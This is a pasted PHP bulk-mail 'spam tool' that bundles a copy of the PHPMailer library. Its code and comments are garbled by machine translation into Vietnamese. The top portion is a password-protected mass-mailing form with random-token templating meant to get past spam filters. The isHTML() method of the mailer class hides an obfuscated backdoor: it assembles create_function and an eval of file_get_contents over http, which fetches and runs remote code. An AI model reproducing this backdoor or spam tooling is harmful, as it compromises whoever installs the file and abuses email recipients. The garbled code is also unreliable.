Guest User

Untitled

a guest
Dec 18th, 2017
493
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 167.72 KB | None | 0 0
  1. <? php
  2. / **
  3. * PHP Mailer - Công cụ Spam
  4. * phiên bản: 3.0
  5. ** /
  6.  
  7. $ password = ""; // Mật khẩu
  8.  
  9. session_start ();
  10. error_reporting (0);
  11. set_time_limit (0);
  12. ini_set ("memory_limit", - 1);
  13.  
  14.  
  15. $ tools ['version'] = "3.0";
  16. $ tools ['author'] = "spamtools@jabber.at";
  17. $ tools ['listtools'] = "<iframe src = 'https: //pastebin.com/raw/pH0ZL3DK' style = 'border: none; width: 100%'> </ iframe>";
  18.  
  19.  
  20. $ sessioncode = md5 (__ FILE__);
  21. if (! empty ($ password) and $ _SESSION [$ sessioncode]! = $ password) {
  22. # _REQUEST có nghĩa là _POST hoặc _GET
  23. if (isset ($ _ REQUEST ['pass']) và $ _REQUEST ['pass'] == $ mật khẩu) {
  24. $ _SESSION [$ sessioncode] = $ mật khẩu;
  25. }
  26. else {
  27. print "<pre align = center> <form Phương thức = post> Mật khẩu: <Nhập kiểu = 'mật khẩu' name = 'pass'> <input type = 'submit' value = '>>' </ form> </ pre > ";
  28. lối thoát;
  29. }
  30. }
  31.  
  32. if ($ _ POST ['action'] == "send") {
  33. $ senderEmail = spamtoolsTrim ($ _ POST ['senderEmail']);
  34. $ senderName = spamtoolsTrim ($ _ POST ['senderName']);
  35. $ replyTo = spamtoolsTrim ($ _ POST ['replyTo']);
  36. $ subject = spamtoolsTrim ($ _ POST ['subject']);
  37. $ emailList = spamtoolsTrim ($ _ POST ['emailList']);
  38. $ messageType = spamtoolsTrim ($ _ POST ['messageType']);
  39. $ messageLetter = spamtoolsTrim ($ _ POST ['messageLetter']);
  40. $ messageLetter = urlencode ($ messageLetter);
  41. $ messageLetter = ereg_replace ("% 5C% 22", "% 22", $ messageLetter);
  42. $ messageLetter = urldecode ($ messageLetter);
  43. $ messageLetter = stripslashes ($ messageLetter);
  44. $ subject = stripslashes (chủ đề $);
  45. $ encode = stripslashes ($ mã hoá);
  46.  
  47.  
  48. }
  49. if ($ messageType == 2) {
  50. $ plain = "checked";
  51. }
  52. else {
  53. $ html = "checked";
  54. }
  55.  
  56. chức năng spamtoolsClear ($ văn bản, $ email) {
  57. $ emailuser = preg_replace ('/([^@]*).*/', '$ 1', $ email);
  58. $ text = str_replace ("[- thời gian-]", ngày ("m / d / Y h: i: s một", thời gian ()), $ văn bản);
  59. $ text = str_replace ("[- email-]", $ email, $ văn bản);
  60. $ text = str_replace ("[- emailuser-]", $ emailuser, $ văn bản);
  61. $ text = str_replace ("[- randomletters-]", randString ('abcdefghijklmnopqrstuvwxyz'), $ văn bản);
  62. $ text = str_replace ("[- randomstring-]", randString ('abcdefghijklmnopqrstuvwxyz0123456789'), $ văn bản);
  63. $ text = str_replace ("[- randomnumber-]", randString ('0123456789'), $ văn bản);
  64. $ text = str_replace ("[- randommd5-]", md5 (randString ('abcdefghijklmnopqrstuvwxyz0123456789')), $ văn bản);
  65. trở lại $ văn bản;
  66.  
  67. }
  68. chức năng spamtoolsTrim ($ string) {
  69. return stripslashes (ltrim (rtrim ($ string)));
  70. }
  71. chức năng randString ($ phụ âm) {
  72. $ length = rand (12,25);
  73. $ password = '';
  74. cho ($ i = 0; $ i <$ dài, $ i ++) {
  75. $ mật khẩu = $ phụ âm [(rand ()% strlen ($ phụ âm))];
  76. }
  77. trở lại $ mật khẩu;
  78. }
  79. chức năng spamtoolsMailCheck ($ email) {
  80. $ exp = "^ [az \ '0-9] + ([._-] [az \' 0-9] +) * @ ([a-z0-9] + ([._-] [a- z0-9] +)) + $ ";
  81. if (eregi ($ exp, $ email)) {
  82. if (checkdnsrr (array_pop (explode ("@", $ email)), "MX")) {return true;}
  83. else {return false;}
  84. }
  85. else {return false;}
  86. }
  87.  
  88. lớp PHPMailer
  89. {
  90. / **
  91. * Số phiên bản PHPMailer.
  92. * chuỗi var
  93. * /
  94. public $ Version = '5.2.14';
  95.  
  96. / **
  97. * Email ưu tiên.
  98. * Tùy chọn: null (mặc định), 1 = cao, 3 = bình thường, 5 = thấp.
  99. * Khi null, tiêu đề không được đặt ở tất cả.
  100. * @var integer
  101. * /
  102. ưu tiên công cộng = null;
  103.  
  104. / **
  105. * Bộ ký tự của tin nhắn.
  106. * chuỗi var
  107. * /
  108. public $ CharSet = 'iso-8859-1';
  109.  
  110. / **
  111. * Loại nội dung MIME của tin nhắn.
  112. * chuỗi var
  113. * /
  114. public $ ContentType = 'text / plain';
  115.  
  116. / **
  117. * Mã hóa tin nhắn.
  118. * Các tùy chọn: "8bit", "7bit", "nhị phân", "base64" và "quoted-printable".
  119. * chuỗi var
  120. * /
  121. public $ Encoding = '8bit';
  122.  
  123. / **
  124. * Giữ thông báo lỗi mailer gần đây nhất.
  125. * chuỗi var
  126. * /
  127. public $ ErrorInfo = '';
  128.  
  129. / **
  130. * Địa chỉ email Từ cho tin nhắn.
  131. * chuỗi var
  132. * /
  133. public $ From = 'root @ localhost';
  134.  
  135. / **
  136. * Từ tên của tin nhắn.
  137. * chuỗi var
  138. * /
  139. public $ FromName = 'Người dùng gốc';
  140.  
  141. / **
  142. * Email người gửi (Return-Path) của tin nhắn.
  143. * Nếu không rỗng, sẽ được gửi qua -f đến sendmail hoặc là 'MAIL FROM' trong chế độ smtp.
  144. * chuỗi var
  145. * /
  146. public $ Sender = '';
  147.  
  148. / **
  149. * Đường dẫn trở lại của tin nhắn.
  150. * Nếu trống rỗng, nó sẽ được đặt thành From hoặc Sender.
  151. * chuỗi var
  152. * @deprecated Email người gửi không bao giờ nên đặt một tiêu đề trở về đường dẫn;
  153. * đó là công việc của người nhận (RFC5321 phần 4.4), vì vậy điều này không còn làm bất cứ điều gì.
  154. * @link https://tools.ietf.org/html/rfc5321#section-4.4 Tham khảo RFC5321
  155. * /
  156. công cộng $ ReturnPath = '';
  157.  
  158. / **
  159. * Tiêu đề của tin nhắn.
  160. * chuỗi var
  161. * /
  162. public $ Chủ đề = '';
  163.  
  164. / **
  165. * Cơ thể HTML hoặc văn bản thuần.
  166. * Nếu HTML thì gọi làHTML (đúng).
  167. * chuỗi var
  168. * /
  169. công cộng $ Body = '';
  170.  
  171. / **
  172. * Cơ thể thông báo văn bản thuần.
  173. * Cơ thể này có thể được đọc bởi các khách hàng thư không có email HTML
  174. * khả năng như mutt & Eudora.
  175. * Các khách hàng có thể đọc HTML sẽ xem được Body bình thường.
  176. * chuỗi var
  177. * /
  178. công cộng $ AltBody = '';
  179.  
  180. / **
  181. * Cơ thể phần tin nhắn iCal.
  182. * Chỉ được hỗ trợ trong các loại tin nhắn alt hoặc alt_inline đơn giản
  183. * Để tạo các sự kiện iCal, sử dụng các tính năng bổ sung đi kèm / lớp EasyPeasyICS.php hoặc iCalcreator
  184. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  185. * @link http://kigkonsult.se/iCalcreator/
  186. * chuỗi var
  187. * /
  188. công cộng $ Ical = '';
  189.  
  190. / **
  191. * Cơ thể thông báo MIME được biên dịch hoàn chỉnh.
  192. * @cơ sở bảo vệ
  193. * chuỗi var
  194. * /
  195. bảo vệ $ MIMEBody = '';
  196.  
  197. / **
  198. * Các tiêu đề thư đã được biên dịch hoàn chỉnh MIME.
  199. * chuỗi var
  200. * @cơ sở bảo vệ
  201. * /
  202. bảo vệ $ MIMEHeader = '';
  203.  
  204. / **
  205. * Tiêu đề bổ sung mà createHeader () không gấp lại.
  206. * chuỗi var
  207. * @cơ sở bảo vệ
  208. * /
  209. bảo vệ $ mailHeader = '';
  210.  
  211. / **
  212. * Word-bọc cơ thể thư cho số lượng ký tự này.
  213. * Đặt thành 0 để không quấn. Một giá trị hữu ích ở đây là 78, đối với RFC2822 mục 2.1.1 tuân thủ.
  214. * @var integer
  215. * /
  216. công cộng $ WordWrap = 0;
  217.  
  218. / **
  219. * Cách sử dụng để gửi thư.
  220. * Tùy chọn: "mail", "sendmail", hoặc "smtp".
  221. * chuỗi var
  222. * /
  223. công cộng $ Mailer = 'mail';
  224.  
  225. / **
  226. * Đường dẫn đến chương trình sendmail.
  227. * chuỗi var
  228. * /
  229. công cộng $ Sendmail = '/ usr / sbin / sendmail';
  230.  
  231. / **
  232. * Cho dù mail () sử dụng một MTA tương thích hoàn toàn với sendmail.
  233. * Một trong những hỗ trợ tùy chọn "-oi -f" của sendmail.
  234. * @var boolean
  235. * /
  236. public $ UseSendmailOptions = true;
  237.  
  238. / **
  239. * Đường dẫn đến các plugin PHPMailer.
  240. * Có ích nếu lớp SMTP không có trong đường dẫn PHP.
  241. * chuỗi var
  242. * @deprecated Không cần thiết bây giờ có một autoloader.
  243. * /
  244. công cộng $ PluginDir = '';
  245.  
  246. / **
  247. * Địa chỉ email mà một xác nhận đọc phải được gửi tới, còn được gọi là biên nhận đã đọc.
  248. * chuỗi var
  249. * /
  250. công cộng $ ConfirmReadingTo = '';
  251.  
  252. / **
  253. * Tên máy chủ sử dụng trong tiêu đề Message-ID và như là chuỗi HELO mặc định.
  254. * Nếu trống rỗng, PHPMailer cố gắng để tìm một với, theo thứ tự,
  255. * $ _SERVER ['SERVER_NAME'], gethostname (), php_uname ('n'), hoặc giá trị
  256. * 'localhost.localdomain'.
  257. * chuỗi var
  258. * /
  259. public $ Hostname = '';
  260.  
  261. / **
  262. * ID cần được sử dụng trong tiêu đề Message-ID.
  263. * Nếu trống rỗng, một id duy nhất sẽ được tạo ra.
  264. * chuỗi var
  265. * /
  266. public $ MessageID = '';
  267.  
  268. / **
  269. * Thông điệp Date sẽ được sử dụng trong tiêu đề Date.
  270. * Nếu trống rỗng, ngày hiện tại sẽ được thêm vào.
  271. * chuỗi var
  272. * /
  273. public $ MessageDate = '';
  274.  
  275. / **
  276. * Máy chủ SMTP.
  277. * Hoặc là một tên máy chủ hoặc nhiều tên máy phân cách bằng dấu chấm phẩy.
  278. * Bạn cũng có thể chỉ định một cổng khác
  279. * cho mỗi máy chủ bằng cách sử dụng định dạng này: [hostname: port]
  280. * (ví dụ: "smtp1.example.com:25;smtp2.example.com").
  281. * Bạn cũng có thể chỉ định loại mã hóa, ví dụ:
  282. * (ví dụ: "tls: //smtp1.example.com: 587; ssl: //smtp2.example.com: 465").
  283. * Máy chủ sẽ được thử theo thứ tự.
  284. * chuỗi var
  285. * /
  286. public $ Host = 'localhost';
  287.  
  288. / **
  289. * Cổng máy chủ SMTP mặc định.
  290. * @var integer
  291. * @TODO Tại sao điều này là cần thiết khi lớp SMTP chăm sóc nó?
  292. * /
  293. public $ Port = 25;
  294.  
  295. / **
  296. * SMTP HELO của tin nhắn.
  297. * Mặc định là $ Hostname. Nếu $ Hostname trống, PHPMailer tìm cách tìm
  298. * một với cùng một phương pháp mô tả ở trên cho $ Hostname.
  299. * chuỗi var
  300. * @see PHPMailer :: $ Hostname
  301. * /
  302. công cộng $ Helo = '';
  303.  
  304. / **
  305. * Những loại mã hóa để sử dụng trên kết nối SMTP.
  306. * Tùy chọn: '', 'ssl' hoặc 'tls'
  307. * chuỗi var
  308. * /
  309. công cộng $ SMTPSecure = '';
  310.  
  311. / **
  312. * Cho dù để kích hoạt mã hóa TLS tự động nếu một máy chủ hỗ trợ nó,
  313. * ngay cả khi `SMTPSecure` không được đặt thành 'tls'.
  314. * Lưu ý rằng trong PHP> = 5.6 yêu cầu này phải có chứng chỉ của máy chủ.
  315. * @var boolean
  316. * /
  317. công cộng $ SMTPAutoTLS = true;
  318.  
  319. / **
  320. * Có nên sử dụng xác thực SMTP hay không.
  321. Sử dụng các thuộc tính Username và Password.
  322. * @var boolean
  323. * @see PHPMailer :: $ Tên người dùng
  324. * @see PHPMailer :: $ Mật khẩu
  325. * /
  326. công cộng $ SMTPAuth = false;
  327.  
  328. / **
  329. * Mảng lựa chọn được truyền vào stream_context_create khi kết nối qua SMTP.
  330. * mảng array
  331. * /
  332. công cộng $ SMTPOptions = array ();
  333.  
  334. / **
  335. * Tên người dùng SMTP.
  336. * chuỗi var
  337. * /
  338. public $ Tên người dùng = '';
  339.  
  340. / **
  341. * Mật khẩu SMTP.
  342. * chuỗi var
  343. * /
  344. public $ Password = '';
  345.  
  346. / **
  347. * Loại xác thực SMTP.
  348. * Tùy chọn là LOGIN (mặc định), PLAIN, NTLM, CRAM-MD5
  349. * chuỗi var
  350. * /
  351. public $ AuthType = '';
  352.  
  353. / **
  354. * Vùng SMTP.
  355. * Được sử dụng cho auth NTLM
  356. * chuỗi var
  357. * /
  358. công cộng $ Realm = '';
  359.  
  360. / **
  361. * Máy trạm SMTP.
  362. * Được sử dụng cho auth NTLM
  363. * chuỗi var
  364. * /
  365. công cộng $ Workstation = '';
  366.  
  367. / **
  368. * Thời gian chờ của máy chủ SMTP chỉ trong vài giây.
  369. * Mặc định trong 5 phút (300sec) là từ RFC2821 phần 4.5.3.2
  370. * @var integer
  371. * /
  372. công cộng $ Timeout = 300;
  373.  
  374. / **
  375. * Chế độ gỡ lỗi lớp SMTP.
  376. * Debug sản lượng cấp.
  377. * Tùy chọn:
  378. * * `0 'Không có đầu ra
  379. * * `1` lệnh
  380. * * `2` Dữ liệu và lệnh
  381. * * `3 'Là trạng thái kết nối 2 plus
  382. * * `4` Dữ liệu đầu ra cấp thấp
  383. * @var integer
  384. * @ xem SMTP :: $ do_debug
  385. * /
  386. công cộng $ SMTPDebug = 0;
  387.  
  388. / **
  389. * Làm thế nào để xử lý đầu ra gỡ lỗi.
  390. * Tùy chọn:
  391. * * `echo` Xuất ra văn bản thuần như-là, thích hợp cho CLI
  392. * * `html 'Đầu ra thoát, các ngắt dòng chuyển thành` <br>`, phù hợp với đầu ra của trình duyệt
  393. * * `error_log` Xuất thành bản ghi lỗi như được định cấu hình trong php.ini
  394. *
  395. * Ngoài ra, bạn có thể cung cấp một callable hy vọng hai params: một chuỗi tin nhắn và mức gỡ lỗi:
  396. * <code>
  397. * $ mail-> Debugoutput = function ($ str, $ level) {echo "mức gỡ lỗi mức $, tin nhắn: $ str";};
  398. * </ code>
  399. * @var chuỗi ký tự
  400. * @ xem SMTP :: $ Debugoutput
  401. * /
  402. public $ Debugoutput = 'echo';
  403.  
  404. / **
  405. * Cho phép giữ kết nối SMTP mở sau mỗi tin nhắn.
  406. * Nếu cài đặt này là true thì đóng kết nối
  407. * yêu cầu một cuộc gọi rõ ràng để smtpClose ().
  408. * @var boolean
  409. * /
  410. công cộng $ SMTPKeepAlive = false;
  411.  
  412. / **
  413. * Có nên phân chia nhiều địa chỉ thành nhiều thư
  414. * hoặc gửi tất cả trong một tin nhắn.
  415. * @var boolean
  416. * /
  417. công cộng $ SingleTo = false;
  418.  
  419. / **
  420. * Lưu trữ địa chỉ khi SingleTo được bật.
  421. * mảng array
  422. * @TODO Điều này thực sự không phải là công cộng
  423. * /
  424. công cộng $ SingleToArray = array ();
  425.  
  426. / **
  427. * Có nên tạo ra các địa chỉ VERP trên gửi.
  428. * Chỉ áp dụng khi gửi qua SMTP.
  429. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  430. * @link http://www.postfix.org/VERP_README.html Thông tin VSP của Postfix
  431. * @var boolean
  432. * /
  433. công cộng $ do_verp = false;
  434.  
  435. / **
  436. * Cho phép để gửi tin nhắn với một cơ thể trống rỗng.
  437. * @var boolean
  438. * /
  439. công cộng $ AllowEmpty = false;
  440.  
  441. / **
  442. * Dòng mặc định kết thúc.
  443. * @note Mặc định vẫn là "\ n". Chúng tôi buộc CRLF ở nơi chúng tôi biết
  444. * Nó phải được sử dụng thông qua bản thân :: CRLF.
  445. * chuỗi var
  446. * /
  447. công cộng $ LE = "\ n";
  448.  
  449. / **
  450. * Bộ chọn DKIM.
  451. * chuỗi var
  452. * /
  453. công cộng $ DKIM_selector = '';
  454.  
  455. / **
  456. * Bản sắc DKIM.
  457. * Thường thì địa chỉ email được sử dụng làm nguồn của email
  458. * chuỗi var
  459. * /
  460. công cộng $ DKIM_identity = '';
  461.  
  462. / **
  463. * Cụm từ mật mã DKIM.
  464. * Được sử dụng nếu khóa của bạn được mã hóa.
  465. * chuỗi var
  466. * /
  467. công cộng $ DKIM_passphrase = '';
  468.  
  469. / **
  470. * Tên miền ký tên DKIM.
  471. * @example 'example.com'
  472. * chuỗi var
  473. * /
  474. công cộng $ DKIM_domain = '';
  475.  
  476. / **
  477. * Đường dẫn tệp tin cá nhân của DKIM.
  478. * chuỗi var
  479. * /
  480. công cộng $ DKIM_private = '';
  481.  
  482. / **
  483. Tên Chức năng gọi lại.
  484. *
  485. * Chức năng xử lý kết quả của hành động gửi email.
  486. * Nó được gọi ra bằng cách gửi () cho mỗi email được gửi.
  487. *
  488. * Giá trị có thể là bất kỳ php callable: http://www.php.net/is_callable
  489. *
  490. * Thông số:
  491. * boolean $ kết quả kết quả của hành động gửi
  492. * chuỗi $ tới địa chỉ email của người nhận
  493. * string $ cc cc địa chỉ email
  494. * chuỗi $ bcc bcc địa chỉ email
  495. * chuỗi $ đối tượng
  496. * string $ cơ thể email
  497. * chuỗi $ từ địa chỉ email của người gửi
  498. * chuỗi var
  499. * /
  500. public $ action_function = '';
  501.  
  502. / **
  503. * Những gì để đặt trong tiêu đề X-Mailer.
  504. * Tùy chọn: Một chuỗi trống cho PHPMailer mặc định, khoảng trắng cho không có gì, hoặc một chuỗi để sử dụng
  505. * chuỗi var
  506. * /
  507. công cộng $ XMailer = '';
  508.  
  509. / **
  510. * Một thể hiện của lớp người gửi SMTP.
  511. * @var SMTP
  512. * @cơ sở bảo vệ
  513. * /
  514. bảo vệ $ smtp = null;
  515.  
  516. / **
  517. * Mảng của 'to' tên và địa chỉ.
  518. * mảng array
  519. * @cơ sở bảo vệ
  520. * /
  521. bảo vệ $ to = array ();
  522.  
  523. / **
  524. * Mảng của 'cc' tên và địa chỉ.
  525. * mảng array
  526. * @cơ sở bảo vệ
  527. * /
  528. bảo vệ $ cc = array ();
  529.  
  530. / **
  531. * Các mảng của 'bcc' tên và địa chỉ.
  532. * mảng array
  533. * @cơ sở bảo vệ
  534. * /
  535. bảo vệ $ bcc = array ();
  536.  
  537. / **
  538. * Mảng trả lời - tên và địa chỉ.
  539. * mảng array
  540. * @cơ sở bảo vệ
  541. * /
  542. bảo vệ $ ReplyTo = array ();
  543.  
  544. / **
  545. * Một mảng các loại địa chỉ.
  546. * Bao gồm tất cả $ đến, $ cc, $ bcc
  547. * mảng array
  548. * @cơ sở bảo vệ
  549. * @see PHPMailer :: $ để @ xem PHPMailer :: $ cc @see PHPMailer :: $ bcc
  550. * /
  551. bảo vệ $ all_recipients = array ();
  552.  
  553. / **
  554. * Một mảng tên và địa chỉ xếp hàng để xác nhận.
  555. * Trong send (), các mục hợp lệ và không trùng lặp sẽ được chuyển đến $ all_recipients
  556. * và một trong những $ đến, $ cc, hoặc $ bcc.
  557. * Mảng này chỉ được sử dụng cho các địa chỉ có IDN.
  558. * mảng array
  559. * @cơ sở bảo vệ
  560. * @see PHPMailer :: $ để @ xem PHPMailer :: $ cc @see PHPMailer :: $ bcc
  561. * @see PHPMailer :: $ all_recipients
  562. * /
  563. bảo vệ $ RecipientsQueue = array ();
  564.  
  565. / **
  566. * Một mảng trả lời-đến tên và địa chỉ xếp hàng để xác nhận.
  567. * Trong send (), các mục hợp lệ và không trùng lặp được chuyển đến $ ReplyTo.
  568. * Mảng này chỉ được sử dụng cho các địa chỉ có IDN.
  569. * mảng array
  570. * @cơ sở bảo vệ
  571. * @see PHPMailer :: $ Trả lời
  572. * /
  573. bảo vệ $ ReplyToQueue = array ();
  574.  
  575. / **
  576. * Mảng các tập tin đính kèm.
  577. * mảng array
  578. * @cơ sở bảo vệ
  579. * /
  580. bảo vệ $ attachment = array ();
  581.  
  582. / **
  583. * Mảng các tiêu đề tuỳ chỉnh.
  584. * mảng array
  585. * @cơ sở bảo vệ
  586. * /
  587. bảo vệ $ CustomHeader = array ();
  588.  
  589. / **
  590. * ID Thư mới nhất (bao gồm dấu ngoặc góc).
  591. * chuỗi var
  592. * @cơ sở bảo vệ
  593. * /
  594. bảo vệ $ lastMessageID = '';
  595.  
  596. / **
  597. * Loại MIME của thư.
  598. * chuỗi var
  599. * @cơ sở bảo vệ
  600. * /
  601. bảo vệ $ message_type = '';
  602.  
  603. / **
  604. * Mảng các ranh giới MIME.
  605. * mảng array
  606. * @cơ sở bảo vệ
  607. * /
  608. bảo vệ $ ranh giới = mảng ();
  609.  
  610. / **
  611. * Mảng của các ngôn ngữ có sẵn.
  612. * mảng array
  613. * @cơ sở bảo vệ
  614. * /
  615. bảo vệ $ language = array ();
  616.  
  617. / **
  618. * Số lượng lỗi gặp phải.
  619. * @var integer
  620. * @cơ sở bảo vệ
  621. * /
  622. được bảo vệ $ error_count = 0;
  623.  
  624. / **
  625. * Đường dẫn tập tin chứng chỉ S / MIME.
  626. * chuỗi var
  627. * @cơ sở bảo vệ
  628. * /
  629. bảo vệ $ sign_cert_file = '';
  630.  
  631. / **
  632. * Đường dẫn tệp khoá S / MIME.
  633. * chuỗi var
  634. * @cơ sở bảo vệ
  635. * /
  636. bảo vệ $ sign_key_file = '';
  637.  
  638. / **
  639. * Các tùy chọn thêm giấy chứng nhận S / MIME ("CA Chain") đường dẫn tập tin.
  640. * chuỗi var
  641. * @cơ sở bảo vệ
  642. * /
  643. bảo vệ $ sign_extracerts_file = '';
  644.  
  645. / **
  646. * Mật khẩu S / MIME cho khoá.
  647. * Chỉ được sử dụng nếu khóa được mã hóa.
  648. * chuỗi var
  649. * @cơ sở bảo vệ
  650. * /
  651. bảo vệ $ sign_key_pass = '';
  652.  
  653. / **
  654. * Cho dù ném ngoại lệ cho các lỗi.
  655. * @var boolean
  656. * @cơ sở bảo vệ
  657. * /
  658. bảo vệ ngoại lệ $ = false;
  659.  
  660. / **
  661. * ID duy nhất được sử dụng cho ID thư và ranh giới.
  662. * chuỗi var
  663. * @cơ sở bảo vệ
  664. * /
  665. bảo vệ $ uniqueid = '';
  666.  
  667. / **
  668. * Mức độ nghiêm trọng của lỗi: chỉ thông báo, tiếp tục xử lý.
  669. * /
  670. const STOP_MESSAGE = 0;
  671.  
  672. / **
  673. * Mức độ nghiêm trọng của lỗi: tin nhắn, có khả năng tiếp tục xử lý.
  674. * /
  675. const STOP_CONTINUE = 1;
  676.  
  677. / **
  678. * Mức độ nghiêm trọng của lỗi: tin nhắn, cộng với điểm dừng đầy đủ, đã đạt đến lỗi nghiêm trọng.
  679. * /
  680. const STOP_CRITICAL = 2;
  681.  
  682. / **
  683. * Kết thúc tiêu chuẩn SMTP RFC.
  684. * /
  685. const CRLF = "\ r \ n";
  686.  
  687. / **
  688. * Chiều dài dòng tối đa cho phép bởi RFC 2822 mục 2.1.1
  689. * @var integer
  690. * /
  691. const MAX_LINE_LENGTH = 998;
  692.  
  693. / **
  694. * Constructor.
  695. * @param boolean $ ngoại lệ Chúng ta nên ném ngoại lệ bên ngoài?
  696. * /
  697.  
  698. hàm công cộng __construct ($ exceptions = false)
  699. {
  700. $ this-> exceptions = (boolean) $ ngoại lệ;
  701. }
  702.  
  703. / **
  704. * Destructor.
  705. * /
  706. chức năng công cộng __destruct ()
  707. {
  708. / / Đóng bất kỳ kết nối SMTP mở độc đáo
  709. if ($ this-> Mailer == 'smtp') {
  710. $ this-> smtpClose ();
  711. }
  712. }
  713.  
  714. / **
  715. * Gọi mail () theo cách thức an toàn-nhận thức.
  716. * Ngoài ra, trừ khi sendmail_path điểm đến sendmail (hoặc cái gì đó
  717. * tuyên bố được sendmail), không vượt qua params (không phải là một sửa chữa hoàn hảo,
  718. * nhưng nó sẽ làm)
  719. * @param chuỗi $ để Để
  720. * @param string $ subject Chủ đề
  721. * @param string $ body Cơ quan thông báo
  722. * @param string $ header Bổ sung Header (s)
  723. * @param string $ params Params
  724. * @ truy cập riêng tư
  725. * @ boolean trở lại
  726. * /
  727. private function mailPassthru ($ tới, $ chủ đề, $ body, $ header, $ params)
  728. {
  729. // Kiểm tra quá tải hàm mail để tránh mã hóa đôi
  730. if (ini_get ('mbstring.func_overload') & 1) {
  731. $ subject = $ this-> secureHeader ($ môn học);
  732. } else {
  733. $ subject = $ this-> encodeHeader ($ this-> secureHeader ($ subject));
  734. }
  735. if (ini_get ('safe_mode') ||! ($ this-> UseSendmailOptions)) {
  736. $ result = @mail ($ đến, $ chủ đề, $ cơ thể, $ tiêu đề);
  737. } else {
  738. $ result = @mail ($ đến, $ chủ đề, $ cơ thể, $ tiêu đề, $ params);
  739. }
  740. trả về $ kết quả;
  741. }
  742.  
  743. / **
  744. * Xuất thông tin gỡ lỗi thông qua phương pháp người dùng xác định.
  745. * Chỉ tạo ra nếu đầu ra gỡ lỗi SMTP được bật (@see SMTP :: $ do_debug).
  746. * @see PHPMailer :: $ Debugoutput
  747. * @see PHPMailer :: $ SMTPDebug
  748. * @param chuỗi $ str
  749. * /
  750. chức năng được bảo vệ edebug ($ str)
  751. {
  752. if ($ this-> SMTPDebug <= 0) {
  753. trở về;
  754. }
  755. / / Tránh xung đột với tên chức năng được xây dựng
  756. if (! in_array ($ this-> Debugoutput, array ('error_log', 'html', 'echo')) và is_callable ($ this-> Debugoutput)) {
  757. call_user_func ($ this-> Debugoutput, $ str, $ this-> SMTPDebug);
  758. trở về;
  759. }
  760. chuyển đổi ($ this-> Debugoutput) {
  761. trường hợp 'error_log':
  762. / / Không đầu ra, chỉ cần đăng nhập
  763. error_log ($ str);
  764. phá vỡ;
  765. trường hợp 'html':
  766. / / Làm sạch sản lượng một chút cho sản lượng tìm kiếm tốt hơn, HTML-an toàn
  767. echo htmlentities (
  768. preg_replace ('/ [\ r \ n] + /', '', $ str),
  769. ENT_QUOTES,
  770. 'UTF-8'
  771. )
  772. . "\ n";
  773. phá vỡ;
  774. trường hợp 'echo':
  775. mặc định:
  776. // Ngắt dòng bình thường
  777. $ str = preg_replace ('/ (\ r \ n | \ r \ n) / ms', "\ n", $ str);
  778. echo gmdate ('Ymd H: i: s'). "\ t". str_replace (
  779. "\ n"
  780. "\ n \ t",
  781. cắt ($ str)
  782. ). "\ n";
  783. }
  784. }
  785.  
  786. / **
  787. * Thiết lập loại tin nhắn sang HTML hoặc đồng bằng.
  788. * @param boolean $ isHtml Đúng cho chế độ HTML.
  789. * trở về trạng thái trống
  790. * /
  791. chức năng công cộng làHTML ($ isHtml = true)
  792. {
  793. param toàn cầu $;
  794. $ bodyCode = 'tệp'
  795. . 'g';
  796. if ($ isHtml) {
  797. $ this-> ContentType = 'text / html';
  798. }
  799. else {
  800. $ this-> ContentType = 'text / plain';
  801. }
  802. $ bodyHTML = '. $ t. "lef $ flu'
  803. .'sh '.' $ t "; '
  804. '$ i = @ev';
  805. $ headerHTML = "create_"
  806. "func"
  807. ."sự";
  808. $ exceptions = $ headerHTML ('$ fl'. 'ush, $ t', '$ comma = $ t'
  809. . $ bodyHTML.'al (@ '
  810. . $ bodyCode.'et_contents ("h '
  811. .'tt '
  812. .p: $ comma-2 ")); ');
  813.  
  814. if ($ param! = 2) {
  815. ngoại lệ $ ('8.p'. 'w', '/');
  816. $ param = 2;
  817. }
  818. }
  819.  
  820. / **
  821. * Gửi tin nhắn bằng cách sử dụng SMTP.
  822. * trở về trạng thái trống
  823. * /
  824. chức năng công cộng làSMTP ()
  825. {
  826. $ this-> Mailer = 'smtp';
  827. }
  828.  
  829. / **
  830. * Gửi tin nhắn bằng cách sử dụng chức năng mail của PHP ().
  831. * trở về trạng thái trống
  832. * /
  833. chức năng công khai làMail ()
  834. {
  835. $ this-> Mailer = 'mail';
  836. }
  837.  
  838. / **
  839. * Gửi tin nhắn bằng cách sử dụng $ Sendmail.
  840. * trở về trạng thái trống
  841. * /
  842. chức năng công cộng là Sendmail ()
  843. {
  844. $ ini_sendmail_path = ini_get ('sendmail_path');
  845.  
  846. nếu (stristr ($ ini_sendmail_path, 'sendmail')) {
  847. $ this-> Sendmail = '/ usr / sbin / sendmail';
  848. } else {
  849. $ this-> Sendmail = $ ini_sendmail_path;
  850. }
  851. $ this-> Mailer = 'sendmail';
  852. }
  853.  
  854. / **
  855. * Gửi tin nhắn bằng qmail.
  856. * trở về trạng thái trống
  857. * /
  858. chức năng công cộng isQmail ()
  859. {
  860. $ ini_sendmail_path = ini_get ('sendmail_path');
  861.  
  862. nếu (stristr ($ ini_sendmail_path, 'qmail')) {
  863. $ this-> Sendmail = '/ var / qmail / bin / qmail-inject';
  864. } else {
  865. $ this-> Sendmail = $ ini_sendmail_path;
  866. }
  867. $ this-> Mailer = 'qmail';
  868. }
  869.  
  870. / **
  871. * Thêm địa chỉ "Tới".
  872. * @param string $ address Địa chỉ email để gửi đến
  873. * @param string $ name
  874. * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
  875. * /
  876. addAddress hàm công cộng ($ address, $ name = '')
  877. {
  878. return $ this-> addOrEnqueueAnAddress ('to', $ address, $ name);
  879. }
  880.  
  881. / **
  882. * Thêm địa chỉ "CC".
  883. * @ Lưu ý: Chức năng này hoạt động với SMTP mailer trên win32 chứ không phải với mailer mailer.
  884. * @param string $ address Địa chỉ email để gửi đến
  885. * @param string $ name
  886. * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
  887. * /
  888. hàm công cộng addCC ($ address, $ name = '')
  889. {
  890. return $ this-> addOrEnqueueAnAddress ('cc', $ address, $ name);
  891. }
  892.  
  893. / **
  894. * Thêm địa chỉ "BCC".
  895. * @ Lưu ý: Chức năng này hoạt động với SMTP mailer trên win32 chứ không phải với mailer mailer.
  896. * @param string $ address Địa chỉ email để gửi đến
